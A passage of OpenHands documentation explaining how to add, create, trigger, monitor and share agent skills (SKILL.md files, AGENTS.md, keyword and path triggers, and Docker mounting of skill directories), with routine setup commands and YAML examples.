Guide](/sdk/guides/hooks)** - Event handler details -- **[MCP Integration](/sdk/guides/mcp)** - External tool servers - -### Quick Start -Source: https://docs.openhands.dev/overview/quickstart.md - -Get started with OpenHands in minutes. - - - - The recommended way to run OpenHands. Install via npm or Docker and start your first conversation in minutes. - - - No installation required — sign in and start coding. - - - -### Skills Overview -Source: https://docs.openhands.dev/overview/skills.md - -Skills give OpenHands reusable instructions for specialized tasks. A skill can capture domain knowledge, define a repeatable workflow, and include supporting scripts, references, or templates. - -Skills guide the agent's behavior; they do not grant permissions or install dependencies by themselves. The agent can only use the files, tools, secrets, and network access available in its environment. - - -OpenHands supports the [Agent Skills specification](https://agentskills.io/specification) and adds optional features such as keyword triggers and path-triggered rules. Other Agent Skills clients may ignore these OpenHands extensions. - - -## Choose the Right Mechanism - -| Need | Use | Recommended Location | Loading Behavior | -|---|---|---|---| -| Instructions for every task in a repository | `AGENTS.md` | Repository root | Full content is included in the initial system prompt | -| Reusable expertise or a workflow for a specific task | Agent Skills `SKILL.md` | `.agents/skills//SKILL.md` | Name and description are advertised first; the agent invokes the full skill when relevant | -| Automatic activation for specific words or commands | `SKILL.md` with `triggers` | `.agents/skills//SKILL.md` | The skill remains available for model invocation and its content is also injected when a trigger matches | -| Deterministic guidance for specific files | A skill with `paths` | `.agents/skills//SKILL.md` or `.agents/skills/.md` | Content is injected when the agent first touches a matching file | - -Use `AGENTS.md` for short, repository-wide conventions. Use `SKILL.md` for focused knowledge that is needed only for some tasks. A legacy `.md` skill without a trigger is always loaded in full; prefer `AGENTS.md` for that use case so its purpose is clear. - -OpenHands also recognizes `CLAUDE.md` and `GEMINI.md` as model-specific repository context. - -## How Progressive Disclosure Works - -Agent Skills use three levels of context: - -1. **Discovery**: OpenHands loads each skill's `name` and `description` into the available-skills catalog. -2. **Invocation**: When a task matches the description, the agent invokes the skill by name and receives the full `SKILL.md` instructions. -3. **Resources**: The agent reads referenced files from `scripts/`, `references/`, or `assets/` only when needed. - -This keeps the initial prompt smaller than loading every skill in full. Write the description to explain both what the skill does and when it applies; the agent uses that metadata to decide whether to invoke it. - -OpenHands supports two deterministic activation paths: - -- `triggers` injects the skill when a keyword or command appears in a user message. The skill is still available for model invocation. -- `paths` turns the file into a path-triggered rule. The rule is not advertised to the model and is injected once per conversation when a matching file is read, edited, or created. If a file declares both `paths` and `triggers`, `paths` takes precedence. - - -Always-on content occupies the conversation context from the beginning. Keep `AGENTS.md` concise and move lengthy or specialized instructions into on-demand skills and references. - - -## Official Skill Registry - -The official global skill registry is maintained at [github.com/OpenHands/extensions](https://github.com/OpenHands/extensions). This repository contains community-shared skills that can be used by all OpenHands agents. You can browse available skills, contribute your own, and learn from examples created by the community. - - -## Five-Minute Setup - -Add concise repository guidance and one on-demand skill: - -```text -my-repository/ -├── AGENTS.md -└── .agents/ - └── skills/ - └── release-checklist/ - └── SKILL.md -``` - -```markdown title="AGENTS.md" -# Repository Guidance - -Run the test suite before committing. Keep changes focused and follow the existing project conventions. -``` - -```markdown title=".agents/skills/release-checklist/SKILL.md" ---- -name: release-checklist -description: Prepare and verify a release checklist. Use when creating release notes or publishing a release. ---- - -Check the version, changelog, validation commands, and release notes before publishing. -``` - -For a portable Agent Skills package, `name` and `description` are required. The `name` must match the parent directory and use lowercase letters, numbers, and hyphens. See [Creating Skills](/overview/skills/creating) for the complete format and authoring guidance. - -Start a new conversation after changing skill files so OpenHands rebuilds the available-skills catalog. - -## Skill Locations and Precedence - -OpenHands can combine skills from several scopes: - -| Scope | Recommended Location | Applies To | -|---|---|---| -| Repository context | `/AGENTS.md` | Conversations in that repository | -| Project skills | `/.agents/skills/` | Conversations using that project workspace | -| User skills | `~/.agents/skills/` | Conversations for that user | -| Public skills | [OpenHands extensions registry](https://github.com/OpenHands/extensions/tree/main/skills) | Conversations configured to load the public registry | - -Both the legacy `.openhands/skills/` and `.openhands/microagents/` directories remain supported, but use `.agents/skills/` for new skills. This location follows the Agent Skills standard and makes skills portable across compatible agent tools. - -Name conflicts are resolved by precedence rather than by merging skill bodies. For automatically loaded sources, project skills override user skills, and user skills override public skills. Within a project or user scope, `.agents/skills/` takes precedence over the legacy directories. - - -In the SDK, explicitly supplied skills override automatically loaded user and public skills. Project skills are resolved from the conversation workspace and override a same-named skill from another source. See the [SDK Skills Guide](/sdk/guides/skill) for loader configuration. - - -## OpenHands-Specific Skill Types - -- [Repository Context](/overview/skills/repo) provides always-on project instructions. -- [Keyword-Triggered Skills](/overview/skills/keyword) activate when a user message contains configured terms. -- [Path-Triggered Rules](/overview/skills/path) apply deterministic instructions to matching files. -- [Organization and User Skills](/overview/skills/org) share guidance across repositories. -- [Global Skills](/overview/skills/public) are reusable skills published through the OpenHands extensions registry. - -## Using Skills Across OpenHands - -| Surface | How Skills Are Loaded | -|---|---| -| **Agent Canvas** | Manage installed skills under `Customize > Skills`; configuration is scoped to the active backend | -| **SDK and agent server** | Pass `Skill` objects directly or enable the user, project, and public file-based loaders in `AgentContext` | -| **OpenHands Cloud** | Select or import skills for a conversation, including skills stored in Git repositories | - -In Agent Canvas, disabling a bundled or custom skill prevents it from being included in the agent context for new OpenHands and ACP conversations. Enabled skills remain available to new conversations. - -The skill catalog defaults to an **explicit allow-list** of recommended skills rather than enabling every available skill. The `Customize > Skills` page shows the full catalog with a **Recommended** badge and facet; only the recommended skills are enabled by default. You can enable any additional skill individually. An existing deny-list still takes precedence over the default allow-list. - -See [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) for Agent Canvas and [Plugin Launcher](/openhands/usage/cloud/plugin-launcher) for loading a Git-hosted skill into an OpenHands Cloud conversation. - - -Review a skill and its bundled resources before installing it. A skill can instruct the agent to run scripts, read files, use secrets, or call connected tools. Only install skills from sources you trust. - - -## Next Steps - -- [Add an Existing Skill](/overview/skills/adding) -- [Create a Skill](/overview/skills/creating) -- [Browse the OpenHands Skills Registry](https://github.com/OpenHands/extensions/tree/main/skills) -- [Bundle Skills in a Plugin](/overview/plugins) -- [Monitor and Improve Skills](/overview/skills/monitoring) - -## Learn More - -- **For SDK integration**: See [**SDK Skills Guide**](/sdk/guides/skill) -- **For architecture details**: See [**Skills Architecture**](/sdk/arch/skill) -- **For specific skill types**: See [**Repository Skills**](/overview/skills/repo), [**Keyword Skills**](/overview/skills/keyword), [**Path-Triggered Rules**](/overview/skills/path), [**Organization Skills**](/overview/skills/org), and [**Global Skills**](/overview/skills/public) - -### Adding New Skills -Source: https://docs.openhands.dev/overview/skills/adding.md - -OpenHands makes it easy to extend your agent's capabilities by adding pre-built skills from the community or custom repositories. Skills can be added globally (available in all conversations) or to specific projects. - -## Using the Add-Skill Action - -The quickest way to add a skill is using the `/add-skill` command in your conversation with OpenHands. This command fetches skills from GitHub repositories and installs them in your workspace. - -### Basic Usage - -Provide a GitHub URL pointing to a skill: - -``` -/add-skill https://github.com/OpenHands/extensions/tree/main/skills/codereview -``` - -OpenHands will: -1. Parse the URL to identify the repository and skill path -2. Fetch the skill files from GitHub -3. Install the skill in `.agents/skills/` directory -4. Verify the installation -5. Make the skill immediately available - -### Supported URL Formats - -The `/add-skill` command accepts various GitHub URL formats: - -- Full GitHub tree URL: `https://github.com/OpenHands/extensions/tree/main/skills/codereview` -- Repository path: `https://github.com/OpenHands/extensions/skills/codereview` -- Short form: `github.com/OpenHands/extensions/skills/codereview` -- Shorthand: `OpenHands/extensions/skills/codereview` - -### Examples - -Add the code review skill: -``` -/add-skill https://github.com/OpenHands/extensions/tree/main/skills/codereview-roasted -``` - -Add the Kubernetes skill: -``` -/add-skill OpenHands/extensions/skills/kubernetes -``` - -Add a skill from a custom repository: -``` -/add-skill https://github.com/your-org/your-repo/tree/main/custom-skills/analytics -``` - -## Skill Storage Locations - -Skills are stored in different locations depending on the platform and scope: - - - - The CLI supports two skill locations: - - **User-level skills** (global, available in all conversations): - ``` - ~/.openhands/skills/ - ``` - - **Project-level skills** (specific to current directory): - ``` - .agents/skills/ - ``` - - Skills added via `/add-skill` are installed in `.agents/skills/` of your current workspace, making them available for that project. - - To add skills globally, manually place skill directories in `~/.openhands/skills/`. - - - - SDK users programmatically load skills: - - ```python - from openhands.sdk import Skill - - # Load from a directory - skill = Skill.load("/path/to/skill") - - # Load all skills from a directory - skills = Skill.load_all("/path/to/skills") - ``` - - See the [SDK Skills Guide](/sdk/guides/skill) for more details. - - - - Skills are stored in: - ``` - .agents/skills/ - ``` - - The GUI provides a visual interface for managing skills, but skills can also be added manually by placing them in this directory. - - - - OpenHands Cloud provides a centralized skill library accessible through the web interface. Skills can be: - - Added from the official registry with one click - - Imported from your connected repositories - - Shared across your team or organization - - See the [Cloud UI documentation](/openhands/usage/cloud/cloud-ui) for details. - - - -## Manual Installation - -You can also manually install skills by copying skill directories into the appropriate location. - -### For Project-Level Skills - -1. Create the skills directory if it doesn't exist: - ```bash - mkdir -p .agents/skills - ``` - -2. Copy or clone the skill directory: - ```bash - # Using git - git clone https://github.com/OpenHands/extensions temp-clone - cp -r temp-clone/skills/codereview .agents/skills/ - rm -rf temp-clone - - # Or download and extract manually - ``` - -3. Verify the skill structure: - ```bash - ls .agents/skills/codereview/SKILL.md - ``` - -### For User-Level Skills (CLI Only) - -1. Create the global skills directory: - ```bash - mkdir -p ~/.openhands/skills - ``` - -2. Add skills to this directory: - ```bash - cp -r /path/to/skill ~/.openhands/skills/ - ``` - -Skills in `~/.openhands/skills/` are available in all your conversations when using the CLI. - -## Verifying Installation - -After adding a skill, verify it's available: - -1. **Check the file exists**: The skill directory should contain at least a `SKILL.md` file - ```bash - ls .agents/skills/your-skill/SKILL.md - ``` - -2. **Test the trigger**: For keyword-triggered skills, use one of the trigger words in your prompt: - ``` - Help me set up kubernetes - ``` - -3. **Check skill loading**: OpenHands will indicate when a skill is loaded in response to your prompt - -## Skill Updates - -To update a skill to the latest version: - -1. **Remove the old version**: - ```bash - rm -rf .agents/skills/skill-name - ``` - -2. **Add the updated version**: - ``` - /add-skill https://github.com/OpenHands/extensions/tree/main/skills/skill-name - ``` - -Or manually pull updates if you cloned the skill repository. - -## Authentication for Private Skills - -The `/add-skill` command automatically uses the `GITHUB_TOKEN` environment variable to access private repositories via the GitHub API. - -For manual `git clone` operations (such as when cloning directly into `.agents/skills/`), you'll need to handle authentication differently—typically using SSH keys or embedding a personal access token in the clone URL. - -**Using `/add-skill` with private repositories:** - -1. Set the `GITHUB_TOKEN` environment variable: - -```bash -export GITHUB_TOKEN=your_github_token -``` - -2. Use `/add-skill` as normal with private repository URLs - -The command will automatically use the token for authentication. - -## Skill Conflicts - -If a skill with the same name already exists, OpenHands will warn you before overwriting. To resolve conflicts: - -1. **Rename the existing skill**: Move or rename the existing skill directory -2. **Choose a different installation location**: Install at user-level vs project-level -3. **Overwrite**: Confirm the overwrite when prompted - -## Next Steps - -- **[Browse available skills](https://github.com/OpenHands/extensions)** in the official registry -- **[Create your own skills](/overview/skills/creating)** for custom workflows -- **[Learn about keyword triggers](/overview/skills/keyword)** to make skills activate automatically -- **[Understand skill structure](/sdk/guides/skill)** for the AgentSkills format - -### Creating New Skills -Source: https://docs.openhands.dev/overview/skills/creating.md - -Instead of repeating the same prompts or instructions in every conversation, create a skill that OpenHands can load automatically when needed. Skills transform one-time prompts into reusable, maintainable knowledge that improves over time. - -## Why Create Skills? - -**Before (repeating yourself):** -``` -Please analyze this code using our company's Python style guide: -- Use black for formatting -- Max line length 88 -- Use type hints for all functions -- Follow PEP 8 naming conventions -... -``` - -**After (using a skill):** -``` -Review this Python code -``` - -The skill triggers automatically and applies all your style guidelines consistently. - -## When to Create a Skill - -Create a skill when you find yourself: - -- Repeating the same instructions across multiple conversations -- Working with domain-specific knowledge (company policies, API schemas, workflows) -- Using the same multi-step procedures repeatedly -- Needing consistent behavior for specific tools or frameworks -- Sharing best practices across a team - -## Quick Start - -### Automated Approach: Let OpenHands Help - -To create a skill with guided assistance, ask OpenHands to help you: - -``` -Create a skill for [your use case] -``` - -or simply: - -``` -Write a new skill -``` - -The `skill-creator` skill (from the [OpenHands public skills library](https://github.com/OpenHands/extensions/tree/main/skills/skill-creator)) will guide you through an interactive process: -- Asks questions about your use cases and requirements -- Suggests appropriate skill structure (references, scripts, assets) -- Helps you write effective trigger keywords and descriptions -- Ensures you follow best practices automatically -- Creates the complete skill structure for you - -This is the recommended approach, especially when you're starting out. - -### Manual Approach - -If you prefer to create the skill structure manually: - -1. **Create the skill directory**: - ```bash - mkdir -p .agents/skills/my-skill - ``` - -2. **Create the SKILL.md file**: - ```bash - touch .agents/skills/my-skill/SKILL.md - ``` - -3. **Add content** (see structure and guidelines below) - -4. **Test it** by using a trigger keyword in your prompt - -## Determining Scope - -Before writing your skill, define its scope clearly: - -### Ask These Questions - -1. **What specific task does this skill handle?** - - ❌ Too broad: "Help with coding" - - ✅ Focused: "Lint Python code using ruff with our company rules" - -2. **What knowledge is required?** - - Code style guidelines - - API documentation - - Domain-specific schemas - - Multi-step procedures - -3. **What resources are needed?** - - Scripts for deterministic tasks - - Reference documents for detailed information - - Asset files for templates or boilerplate - -4. **Who will use this skill?** - - Just you (keep it simple) - - Your team (add more documentation) - - Public sharing (comprehensive examples) - -### Scope Examples - -**Good scope (focused):** -- "Configure pre-commit hooks for Python projects" -- "Generate financial reports using our SQL schema" -- "Deploy to our Kubernetes staging environment" - -**Poor scope (too broad):** -- "Help with Python" -- "Work with databases" -- "Deploy applications" - -## Choosing Name and Triggers - -The skill name and trigger keywords determine when OpenHands loads your skill. - -### Naming Your Skill - -Choose a clear, descriptive name: - -- **Use lowercase with hyphens**: `python-linting`, `k8s-deploy`, `api-docs` -- **Be specific**: `ruff-linter` not just `linter` -- **Match common terms**: Use vocabulary your users know - -### Defining Triggers - -Triggers are keywords that automatically activate your skill. Choose words users naturally say when they need this skill. - - - - List specific words or phrases that should activate the skill: - - ```yaml - --- - name: python-linting - description: This skill should be used when the user asks to "lint Python code", "check Python style", "run ruff", or mentions Python code quality. - triggers: - - lint - - linting - - ruff - - code quality - --- - ``` - - **Best practices:** - - Include 2-5 trigger keywords - - Use terms users actually say - - Include tool names (e.g., "ruff", "pytest") - - Include action words (e.g., "lint", "test", "deploy") - - - - The skill description is crucial for trigger matching. Write it in third person and include specific phrases: - - ```yaml - description: This skill should be used when the user asks to "deploy to Kubernetes", "apply K8s manifests", "check pod status", or mentions kubectl commands. Provides comprehensive Kubernetes deployment workflows. - ``` - - **Key elements:** - - Start with "This skill should be used when..." - - Quote specific user phrases: "deploy to Kubernetes" - - List concrete scenarios - - Mention related tools or frameworks - - - - Instead of keywords, scope a skill to files with a `paths:` glob. The skill - becomes a [path-triggered rule](/overview/skills/path) that OpenHands injects - automatically whenever the agent reads, edits, or creates a matching file — no - keyword or model decision needed: - - ```yaml - --- - name: api-validation - paths: - - "src/api/**/*.ts" - - "**/*.route.ts" - --- - ``` - - **When to use:** - - Conventions tied to specific files (e.g. "validate request inputs with zod" for API routes) - - Guidance you want applied deterministically, without relying on trigger words - - `paths:` takes precedence over `triggers:` if a file declares both - - - -### Examples of Good Triggers - -```yaml -# API integration skill -triggers: -- stripe -- payment -- checkout -``` - -```yaml -# Database skill -triggers: -- bigquery -- sql query -- data warehouse -``` - -```yaml -# Deployment skill -triggers: -- deploy -- kubernetes -- k8s -- kubectl -``` - -## Defining the Skill Body - -The skill body contains the instructions OpenHands will follow. Write in imperative form (command form) rather than second person. - -### Basic Structure - -```markdown ---- -name: skill-name -description: This skill should be used when... -triggers: -- keyword1 -- keyword2 ---- - -# Skill Title - -Brief overview of what this skill does. - -## Core Instructions - -Main procedures and guidelines. - -## Common Patterns - -Typical use cases and solutions. - -## Additional Resources - -(Optional) References to bundled files. -``` - -### Writing Style - -**Use imperative/infinitive form:** -✅ "Check the configuration file" -✅ "Validate input before processing" -✅ "Run tests after deployment" - -**Avoid second person:** -❌ "You should check the configuration" -❌ "You need to validate input" -❌ "You must run tests" - -### Keep It Focused - -**SKILL.md content:** -- Core concepts and workflows (1,500-2,000 words ideal) -- Essential procedures -- Quick reference information -- Pointers to additional resources - -**What NOT to include:** -- Exhaustive API documentation (use `references/` instead) -- Detailed edge cases (use `references/` instead) -- Long examples (use `references/` instead) - -## Best Practices and Tips - -### Use Numbered Step Workflows - -For multi-step procedures, use numbered lists: - -```markdown -## Deployment Workflow - -1. **Validate the configuration**: - ```bash - kubectl apply --dry-run=client -f deployment.yaml - ``` - -2. **Apply to staging**: - ```bash - kubectl apply -f deployment.yaml -n staging - ``` - -3. **Verify pod status**: - ```bash - kubectl get pods -n staging --watch - ``` - -4. **Check logs**: - ```bash - kubectl logs -f deployment/app-name -n staging - ``` -``` - -**Benefits:** -- Clear sequence for complex workflows -- Easy to follow and verify -- Reduces errors from skipped steps - -### Add Large Files as References - -Keep SKILL.md lean by moving detailed content to `references/`: - -``` -my-skill/ -├── SKILL.md # Core instructions (< 3,000 words) -└── references/ - ├── api-docs.md # Detailed API reference - ├── examples.md # Comprehensive examples - └── troubleshooting.md # Edge cases and fixes -``` - -**In SKILL.md, reference these files:** - -```markdown -## Additional Resources - -For detailed information, see: -- **`references/api-docs.md`** - Complete API documentation -- **`references/examples.md`** - Working code examples -- **`references/troubleshooting.md`** - Common issues and solutions -``` - -**Benefits:** -- Keeps context window smaller when skill loads -- OpenHands reads references only when needed -- Easier to maintain and update specific sections - -### Create Scripts for Predictable Steps - -For tasks that are repeatedly rewritten or need deterministic behavior, create executable scripts: - -``` -my-skill/ -├── SKILL.md -└── scripts/ - ├── validate_config.py - ├── deploy.sh - └── rollback.sh -``` - -**When to use scripts:** -- Same code being rewritten repeatedly -- Deterministic reliability required -- Complex parsing or validation -- Multi-step automation - -**Reference scripts in SKILL.md:** - -```markdown -## Validation - -Run the validation script: - -\`\`\`bash -python3 scripts/validate_config.py config.yaml -\`\`\` - -This checks: -- YAML syntax -- Required fields -- Value constraints -``` - -**Benefits:** -- Token efficient (scripts can run without being read) -- Deterministic behavior -- Reusable across projects -- Can be versioned and tested - -### Include Quick Reference Tables - -Use tables for configuration options, command flags, or status codes: - -```markdown -## Configuration Options - -| Option | Default | Description | -|--------|---------|-------------| -| `timeout` | 30s | Maximum wait time | -| `retries` | 3 | Number of retry attempts | -| `env` | production | Target environment | -``` - -### Provide Concrete Examples - -Show real examples, not abstract descriptions: - -```markdown -## Example Usage - -Deploy the web application: - -\`\`\`bash -# Build the image -docker build -t myapp:v1.0 . - -# Push to registry -docker push registry.example.com/myapp:v1.0 - -# Update Kubernetes deployment -kubectl set image deployment/web web=registry.example.com/myapp:v1.0 -\`\`\` -``` - -### Use Progressive Disclosure - -Structure information from simple to complex: - -1. **SKILL.md**: Essential workflows and core concepts -2. **references/**: Detailed patterns, advanced techniques, edge cases -3. **scripts/**: Automation for predictable tasks -4. **assets/**: Templates and boilerplate files - -## Complete Example - -Here's a complete skill for Python code review: - -``` -python-review/ -├── SKILL.md -├── references/ -│ ├── style-guide.md -│ └── common-issues.md -└── scripts/ - └── run-checks.sh -``` - -**SKILL.md:** -```markdown ---- -name: python-review -description: This skill should be used when the user asks to "review Python code", "check Python style", "lint Python", or requests code quality analysis. Provides comprehensive Python code review workflows. -triggers: -- python review -- code review -- lint python -- black -- ruff ---- - -# Python Code Review - -Review Python code using company standards and best practices. - -## Review Workflow - -1. **Run automated checks**: - \`\`\`bash - scripts/run-checks.sh - \`\`\` - -2. **Review linter output** for: - - Style violations (Black, Ruff) - - Type errors (mypy) - - Security issues (bandit) - -3. **Check code structure**: - - Function length (< 50 lines) - - Complexity (< 10 cyclomatic) - - Naming conventions - -4. **Verify tests**: - \`\`\`bash - pytest tests/ --cov=src --cov-report=term - \`\`\` - -## Style Guidelines - -- **Formatting**: Black with 88-character line limit -- **Linting**: Ruff with company config -- **Types**: Full type hints for public APIs -- **Docstrings**: Google style for all public functions - -## Additional Resources - -- **`references/style-guide.md`** - Complete style guide -- **`references/common-issues.md`** - Common mistakes and fixes -- **`scripts/run-checks.sh`** - Automated quality checks -``` - -## Testing Your Skill - -After creating your skill: - -1. **Verify structure**: - ```bash - ls .agents/skills/your-skill/SKILL.md - ``` - -2. **Check frontmatter**: Ensure YAML is valid with `name`, `description`, and `triggers` - -3. **Test trigger keywords**: Use a trigger word in a prompt: - ``` - Help me lint this Python code - ``` - -4. **Verify loading**: OpenHands should indicate the skill was loaded - -5. **Iterate**: Improve based on actual usage - - -For production deployments, see [Monitoring and Improving Skills](/overview/skills/monitoring) to track performance using logging, evaluation metrics, dashboarding, and automated feedback aggregation. - - -## Common Mistakes to Avoid - - -**Mistake 1: Vague triggers** -❌ `description: Helps with Python` -✅ `description: This skill should be used when the user asks to "lint Python code", "run black", or mentions Python code quality` - - - -**Mistake 2: Everything in SKILL.md** -❌ Single 10,000-word SKILL.md -✅ Focused SKILL.md (2,000 words) + references/ for details - - - -**Mistake 3: Using "you" in instructions** -❌ "You should validate the config" -✅ "Validate the config" - - - -**Mistake 4: Missing examples** -❌ Abstract descriptions only -✅ Concrete examples with actual commands - - -## Next Steps - -- **[Add your skill](/overview/skills/adding)** to your workspace -- **[Monitor skill performance](/overview/skills/monitoring)** in production -- **[Share skills](https://github.com/OpenHands/extensions)** with the community -- **[Learn the AgentSkills format](/sdk/guides/skill)** for advanced features -- **[Explore example skills](https://github.com/OpenHands/extensions)** for inspiration - -## Further Reading - -For advanced skill creation techniques and SDK integration: -- **[Monitoring Skills](/overview/skills/monitoring)** - Track performance and improve skills in production -- **[Plugins](/overview/plugins)** - Bundle multiple skills with hooks and MCP config -- **[SDK Skills Guide](/sdk/guides/skill)** - Programmatic skill creation -- **[Observability & Tracing](/sdk/guides/observability)** - OpenTelemetry configuration details -- **[GitHub Workflows](/sdk/guides/github-workflows/pr-review)** - Automate skills in CI/CD pipelines -- **[Skills Architecture](/sdk/arch/skill)** - Technical details -- **[Official Skill Registry](https://github.com/OpenHands/extensions)** - Community examples - -### Keyword-Triggered Skills -Source: https://docs.openhands.dev/overview/skills/keyword.md - -## Usage - -These skills are only loaded when a prompt includes one of the trigger words. - -## Frontmatter Syntax - -Frontmatter is required for keyword-triggered skills. It must be placed at the top of the file, -above the guidelines. - -Enclose the frontmatter in triple dashes (---) and include the following fields: - -| Field | Description | Required | Default | -|------------|--------------------------------------------------|----------|------------------| -| `triggers` | A list of keywords that activate the skill. | Yes | None | - - -## Example - -Here's a simplified example of the `github` skill located at `.agents/skills/github/SKILL.md`: - -```markdown ---- -name: github -description: Interact with GitHub repositories, pull requests, issues, and workflows using the GITHUB_TOKEN environment variable and GitHub CLI. Use when working with code hosted on GitHub or managing GitHub resources. -triggers: -- github -- git ---- - -You have access to an environment variable, `GITHUB_TOKEN`, which allows you to interact with -the GitHub API. - - -You can use `curl` with the `GITHUB_TOKEN` to interact with GitHub's API. -ALWAYS use the GitHub API for operations instead of a web browser. -ALWAYS use the `create_pr` tool to open a pull request - - -... (additional GitHub-specific instructions) -``` - - -**Context Management with Platform Skills**: OpenHands includes specialized skills for platforms like GitHub and GitLab that are only triggered when needed (e.g., when you mention "github" or "gitlab" in your prompt). This keeps your context clean and focused, loading platform-specific guidance only when working with those services. - - -[See more examples of keyword-triggered skills in the official OpenHands Skills Registry](https://github.com/OpenHands/extensions) - -### Monitoring and Improving Skills -Source: https://docs.openhands.dev/overview/skills/monitoring.md - -After creating and deploying a skill, monitor its performance to ensure it works correctly in production. This is particularly important for skills used in automated workflows like CI/CD pipelines. - -## The Monitoring Workflow - -Production skill monitoring follows a four-part process: - -1. **Logging** - Record agent behavior during skill execution -2. **Evaluating** - Measure performance using relevant metrics -3. **Dashboarding** - Visualize metrics over time -4. **Aggregating** - Use feedback to improve the skill - -## Logging Agent Behavior - -OpenHands includes OpenTelemetry-compatible instrumentation via the [Laminar](https://github.com/lmnr-ai/lmnr) library. Set up logging to capture agent traces during skill execution. - -### For SDK Users - -Set the `LMNR_PROJECT_API_KEY` environment variable to send traces to Laminar, or configure any OpenTelemetry-compatible backend: - -```bash -export LMNR_PROJECT_API_KEY="your-api-key" -``` - -See the [SDK Observability Guide](/sdk/guides/observability) for detailed configuration options including Honeycomb, Jaeger, Datadog, and other OTLP-compatible backends. - -### For GitHub Actions - -When using skills in GitHub workflows, add the API key to your action configuration. See the [PR review action example](https://github.com/OpenHands/extensions/blob/main/plugins/pr-review/action.yml) for reference. - -## Evaluating Performance - -Define metrics that reflect whether your skill is working correctly. Effective metrics measure actual outcomes rather than intermediate steps. - -### Example: PR Review Skill - -For a code review skill, measure suggestion acceptance rate: - -``` -suggestion_accuracy = ai_suggestions_reflected / ai_suggestions -``` - -Track: -- Number of suggestions made by the agent -- Number of suggestions incorporated by developers - -### Implementation Approach - -1. **Create an evaluation workflow** - Run after the main task completes (e.g., after PR merge) -2. **Collect relevant data** - Agent output, human responses, final results -3. **Use LLM as judge** - Feed data into a prompt that calculates metrics - -Example evaluation prompt excerpt: - -``` -### ai_suggestions -Count items where the body contains an actionable code suggestion -(look for code blocks, "suggestion:", specific changes to make). -Do NOT count general praise or approval-only comments. - -### ai_suggestions_reflected -Count suggestions that were incorporated. A suggestion is "reflected" if: -1. A human response indicates the suggestion was implemented, OR -2. The suggestion appears in the final diff -``` - -See the [evaluation action example](https://github.com/OpenHands/extensions/blob/main/.github/workflows/pr-review-evaluation.yml) for a complete implementation. - -## Dashboarding Metrics - -Visualize metrics over time to identify trends. With Laminar or similar platforms, create SQL queries that aggregate evaluation results. - -Track: -- Metric trends (improving or degrading) -- Performance across different contexts (repos, file types, etc.) -- Comparison between prompt variations or models - -## Aggregating Feedback for Improvement - -Use language models to analyze patterns in evaluation results and suggest skill improvements. - -### Process - -1. **Collect evaluation data** - Aggregate analyses from recent runs -2. **Provide current skill content** - Include the existing SKILL.md -3. **Use a reasoning model** - Feed both into a long-context model (Gemini-2-Pro, Claude 3.5 Sonnet, etc.) -4. **Extract actionable suggestions** - Review model output for concrete improvements - -### Example Output - -Example output from aggregation: - -``` -### Issue: Context-Unaware Suggestions -The agent suggests technically correct changes that conflict with -repository conventions (e.g., suggesting integration tests when the -repo uses mocks). - -Frequency: ~15% of suggestions -Recommendation: Add repo-specific testing philosophy to references/ -``` - -## Deployment in Automated Workflows - -Skills can run automatically in CI/CD pipelines. The [OpenHands Extensions repository](https://github.com/OpenHands/extensions/tree/main/plugins) includes example GitHub Actions for common automation patterns. - -### Common Automation Use Cases - -- **PR review** - Run code review skills when PRs are marked "ready for review" -- **Issue triage** - Classify and label new issues -- **Code generation** - Generate boilerplate or documentation -- **Security scanning** - Check for vulnerabilities and suggest fixes - -See the [GitHub Workflows guide](/sdk/guides/github-workflows/pr-review) for SDK-based automation examples. - -## Best Practices - - - Select metrics that reflect real-world outcomes, not just intermediate steps. - - **Good metrics:** - - Suggestion acceptance rate (for code review) - - Issue classification accuracy (for triage) - - Time to resolution (for bug fixing) - - **Poor metrics:** - - Number of suggestions made - - Lines of code generated - - Tokens consumed - - - - Begin with basic logging before implementing complex evaluation pipelines. - - 1. Set up OpenTelemetry logging - 2. Review traces manually to understand agent behavior - 3. Identify patterns in successes and failures - 4. Design metrics based on observed patterns - 5. Automate evaluation - - - - Use evaluation results to make targeted improvements: - - - Low accuracy → Review skill instructions for clarity - - Inconsistent behavior → Add more specific examples - - Context errors → Expand references/ with domain knowledge - - Repetitive failures → Create scripts for deterministic tasks - - - - Track performance across different contexts: - - - **By repository** - Different repos may need different approaches - - **By file type** - Skills may work better on certain languages - - **By time** - Identify degradation or improvement trends - - **By model** - Compare different LLM backends - - -## Further Reading - -- **[SDK Observability Guide](/sdk/guides/observability)** - Detailed OpenTelemetry configuration -- **[GitHub Workflows](/sdk/guides/github-workflows/pr-review)** - Automate skills in CI/CD -- **[Hooks Guide](/sdk/guides/hooks)** - Event-driven skill execution -- **[Creating Skills](/overview/skills/creating)** - Skill creation fundamentals - -### Organization and User Skills -Source: https://docs.openhands.dev/overview/skills/org.md - -## Usage - -These skills can be [any type of skill](/overview/skills#skill-types) and will be loaded -accordingly. However, they are applied to all repositories belonging to the organization or user. - -Add a `.agents` repository under the organization or user and create a `skills` directory and place the -skills in that directory. - -For GitLab organizations, use `openhands-config` as the repository name instead of `.agents`, since GitLab doesn't support repository names starting with non-alphanumeric characters. - -## Example - -General skill file example for organization `Great-Co` located inside the `.agents` repository: -`skills/org-skill.md`: -``` -* Use type hints and error boundaries; validate inputs at system boundaries and fail with meaningful error messages. -* Document interfaces and public APIs; use implementation comments only for non-obvious logic. -* Follow the same naming convention for variables, classes, constants, etc. already used in each repository. -``` - -For GitLab organizations, the same skill would be located inside the `openhands-config` repository. - -## User Skills When Running OpenHands on Your Own - -When running OpenHands on your own, you can place skills in the `~/.agents/skills/` folder on your local -system and OpenHands will always load them for all your conversations. Repo-level overrides live in `.agents/skills/`. - - - - User skills from `~/.agents/skills/` are loaded automatically — no extra configuration needed. - - - When running OpenHands via Docker, the agent-server container cannot see your host filesystem by default. - You need to mount your local skills directory into the sandbox using the `SANDBOX_VOLUMES` environment variable: - - ```bash - docker run -it --rm --pull=always \ - -e SANDBOX_VOLUMES="$HOME/.agents/skills:/home/openhands/.agents/skills:ro" \ - -e AGENT_SERVER_IMAGE_REPOSITORY=ghcr.io/openhands/agent-server \ - -e AGENT_SERVER_IMAGE_TAG=1.26.0-python \ - -v /var/run/docker.sock:/var/run/docker.sock \ - -v ~/.openhands:/.openhands \ - -p 3000:3000 \ - --add-host host.docker.internal:host-gateway \ - --name openhands-app \ - docker.openhands.dev/openhands/openhands:1.8 - ``` - - - Mount into `~/.agents/skills` inside the container (not `~/.openhands/skills`). Mounting - into `~/.openhands/skills` would overwrite the public skills cache and prevent built-in - skills from loading. - - - You can store your skills in any host directory (e.g., `~/my-skills/`) and mount them - to `~/.agents/skills` in the 